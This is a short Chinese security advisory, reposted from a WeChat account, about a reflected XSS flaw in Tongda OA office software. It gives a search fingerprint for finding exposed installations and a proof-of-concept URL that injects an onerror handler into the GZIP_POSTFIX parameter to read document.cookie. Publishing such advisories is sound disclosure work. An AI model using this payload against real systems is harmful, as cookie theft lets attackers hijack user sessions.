关于通达OA存在反射XSS漏洞的预警

admin
admin
admin
102707
文章
87
评论
2024年2月28日00:48:59评论38 views字数 262阅读0分52秒阅读模式

通达OA是中国协同办公自动化软件(OA软件)普及型的旗舰产品。该系统存在xss跨站脚本漏洞，可能造成cookie泄漏，黑客可利用获得的cookie登录系统。

指纹：

app="TDXK-通达OA"

poc：

http://ip/module/html_editor/editor/plugins/td_listview/td_listview.php?GZIP_POSTFIX=%22+onerror=alert(document.cookie)+a=1

关于通达OA存在反射XSS漏洞的预警

原文始发于微信公众号（丁永博的成长日记）：关于通达OA存在反射XSS漏洞的预警

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月28日00:48:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   关于通达OA存在反射XSS漏洞的预警http://cn-sec.com/archives/2532046.html

发表评论

匿名网友 填写信息